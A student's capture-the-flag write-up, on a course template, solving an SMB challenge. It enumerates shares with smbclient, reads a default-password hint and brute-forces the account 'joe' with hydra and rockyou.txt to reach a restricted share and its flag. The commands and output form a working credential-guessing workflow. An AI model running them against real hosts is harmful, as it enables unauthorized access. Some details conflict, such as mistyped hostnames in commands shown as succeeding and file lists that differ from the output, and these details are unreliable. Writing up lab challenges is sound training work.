

CYLAB SECURITY ACADEMY

Challenge Write-Up Template

Instructions: Copy this template for every challenge you submit. Fill in every section — a write-up that only shows the final flag without explanation will not receive full credit. Delete these italicized instruction lines before submitting.

Challenge Information

Student Name	Evallo, Daniella Kim N.
Section / Class	BSIT-3G
Challenge Name	Password Profiler 2
Category	General Skills
Points / Difficulty	Hard
Date Solved	08/14/2026
Flag Format Given	Given PicoCTF{...}

1. Challenge Description

The challenge involved connecting to an SMB server and investigating two shared directories. The goal was to identify the correct SMB port, enumerate the available shares, access the public shares directory, read the notification left for the user, and then access the secure-shares directory using the information provided in the notification to retrieve the flag.

2. Initial Analysis / Reconnaissance

I first checked the SMB service and the login attempts shown in the terminal. The working SMB port for this challenge was 63635. I then used smbclient to enumerate the available shares. The server revealed shares, secure-shares, and IPC\$. The public shares directory was accessible without a password, while the secure-shares directory required the user joe. The notification file also gave a clue that the default password was still being used.

3. Tools and Commands Used

Tool / Command	What it was used for	Result / Output
nc -vz green-hill.picoctf.net 63635	Check whether the SMB service was reachable on the correct port.	Port 63635 was open.
smbclient -L //green-hill.picoctf.net -p 63635 --no-pass	List the available SMB shares.	Found shares, secure-shares, and IPC\$.
smbclient //green-hill.picoctf.net/shares -p 63635 --no-pass	Connect to the public SMB share.	Successfully connected.
ls	List files inside the SMB share.	Found script.sh and cron.log.

Tool / Command	What it was used for	Result / Output
get content.txt / get kafka.txt / get notification.txt	Download the files from the public share for inspection.	All three files were retrieved.
cat notification.txt	Read the notification file.	It said the printer was vulnerable and that the default password was still in use.
hydra -l joe -P /usr/share/wordlists/rockyou.txt smb://green-hill.picoctf.net -s 63635	Use the rockyou.txt wordlist to test passwords for the SMB user joe.	The valid password found for joe was popcorn.
smbclient //green-hill.picoctf.net/secure-shares -p 63635 -U 'joe'	Connect to the restricted secure-shares using joe and the recovered password.	Successfully connected.
ls	List the contents of the secure share.	Found flag.txt.
cat flag.txt	Display the downloaded flag file.	Returned the challenge flag.

4. Solution Walkthrough

Step 1

I checked port 63635 with nc to verify whether the SMB service was reachable:

nc -vz green-hill.picoctf.net 63635

The terminal resolved the host and showed port 63635 as open. I then used smbclient to enumerate the shares without a password:

smbclient -L //green-hill.picoctf.net -p 63635 --no-pass

The server listed shares, secure-shares, and IPC\$. The shares directory was marked as a public share.

```

(daniella@kali)~$ nc -vz green-hill.picoctf.net 63635
DNS fwd/rev mismatch: green-hill.picoctf.net ≠ ec2-3-18-205-4.us-east-2.compute.amazonaws.com
green-hill.picoctf.net [3.18.205.4] 63635 (?) open
(daniella@kali)~$ smbclient -L //green-hill.picoctf.net -p 63635 --no-pass
Sharename      Type      Comment
-----
shares         Disk      Public Share With Guests
secure-shares  Disk      Printer for internal usage only
IPC$           IPC       IPC Service (Samba 4.19.5-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to green-hill.picoctf.net failed (Error NT_STATUS_CONNECTION_REFUSED)
Unable to connect with SMB1 -- no workgroup available

```

Step 2

I connected to the public shares directory using the working port and no password:

smbclient //green-hill.picoctf.net/shares -p 63635 --no-pass

After connecting, I used ls to inspect the directory. It contained content.txt, kafka.txt, and notification.txt.

smb: \> ls

```
(daniella@kali)-[~]
$ smbclient //green-hill.picoc.tf.net/shares -p 63635 --no-pass
Try 'help' to get a list of possible commands.
smb: \> ls
.                D          0   Tue Mar 18 05:19:06 2020
..               D          0   Tue Mar 18 05:19:06 2020
content.txt      N       1187  Thu Feb  5 05:12:17 2020
kafka.txt        N       1080  Thu Feb  5 05:12:17 2020
notification.txt N        260  Thu Feb  5 05:12:17 2020
```

Step 3

I downloaded the three files from the public share so I could inspect their contents:

get content.txt

get kafka.txt

get notification.txt

After exiting smbclient, I opened notification.txt with cat. The message addressed Joe and explained that a vulnerability had been identified in the printer. It also stated that the default password was still being used.

cat notification.txt

```
65536 blocks of size 1024. 57236 blocks available
smb: \> get content.txt
Getting file \content.txt of size 1187 as content.txt (1.1 KiloBytes/sec) (average 1.1 KiloBytes/sec)
smb: \> get kafka.txt
Getting file \kafka.txt of size 1080 as kafka.txt (1.0 KiloBytes/sec) (average 1.0 KiloBytes/sec)
smb: \> get notification.txt
Getting file \notification.txt of size 260 as notification.txt (0.2 KiloBytes/sec) (average 0.8 KiloBytes/sec)
smb: \> exit

(daniella@kali)-[~]
$ cat notification.txt
cat: notification.txt: No such file or directory

(daniella@kali)-[~]
$ cat notification.txt
Hi Joe,

We've identified a vulnerability in this printer. Until the issue is resolved, please use an alternative printer.

If you have never logged into the printer before, please note that the default password is currently in use.

Best,
The Operator Team
```

Step 4

I used Hydra with the rockyou.txt wordlist to find the password for the SMB account joe:

hydra -l joe -P /usr/share/wordlists/rockyou.txt smb://green-hill.picoc.tf.net -s 63635

Hydra tested the passwords from rockyou.txt against the SMB service. The successful password shown in the terminal was **popcorn**.

The notification gave the important clue that the default password was still in use. Since the username was already identified as joe, I used the rockyou.txt wordlist to test possible passwords against the SMB service on port 63635.

```
1940 3.18.205.4 61544 CHALLENGE CHALLENGE\joe:246810 STATUS_LOGON_FAILURE
1940 3.18.205.4 61544 CHALLENGE CHALLENGE\joe:sweetheart STATUS_LOGON_FAILURE
1940 3.18.205.4 61544 CHALLENGE CHALLENGE\joe:chris STATUS_LOGON_FAILURE
1940 3.18.205.4 61544 CHALLENGE CHALLENGE\joe:ladybug STATUS_LOGON_FAILURE
1940 3.18.205.4 61544 CHALLENGE CHALLENGE\joe:kitty STATUS_LOGON_FAILURE
1940 3.18.205.4 61544 CHALLENGE [!] CHALLENGE\joe:popcorn
```

```
(daniella@kali)-[~]
$ smbclient //green-hill.picocftf.net/secure-shares -p 63635 -U 'joe'
Password for [WORKGROUP\joe]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0   Tue Mar 10 05:29:10 2026
..               D          0   Tue Mar 10 05:29:10 2026
flag.txt         N        44   Tue Mar 10 05:29:10 2026
```

smbclient //green-hill.picocftf.net/secure-shares -p 63635 -U 'joe'

The secure share opened successfully. I then listed its contents:

smb: \> ls

The directory contained flag.txt.

Step 5

I exited the SMB client and displayed the contents of the flag file from the terminal:

smb: \> exit

cat flag.txt

The command returned the challenge flag, confirming that the correct secure share had been accessed.

```
smb: \> exit
(daniella@kali)-[~]
$ cat flag.txt
picoCTF{5mb_pr1nter_5h4re5_secure_f854c38d}
(daniella@kali)-[~]
$
```

Step 6

The important output from flag.txt was:

picoCTF{5mb_pr1nter_5h4re5_secure_f854c38d}

This confirmed that the challenge had been successfully solved.

```
smb: \> exit
(daniella@kali)-[~]
$ cat flag.txt
picoCTF{5mb_pr1nter_5h4re5_secure_f854c38d}
(daniella@kali)-[~]
$
```

5. Flag

picoCTF{5mb_pr1nter_5h4re5_secure_f854c38d}

6. Key Concept / What I Learned

This challenge demonstrated how SMB shares can expose information that can be used to reach a more restricted share. By checking the correct port, enumerating the SMB shares, reading the public notification, and reusing the provided username and default-password clue, I was able to access the secure share and retrieve the flag. The main lesson is that weak default credentials and exposed network shares can create security risks when they are not properly restricted.

7. References

[Printer Shares 2 | PicoCTF Challenge Writeup | by Debmalya Mondal | Medium](#)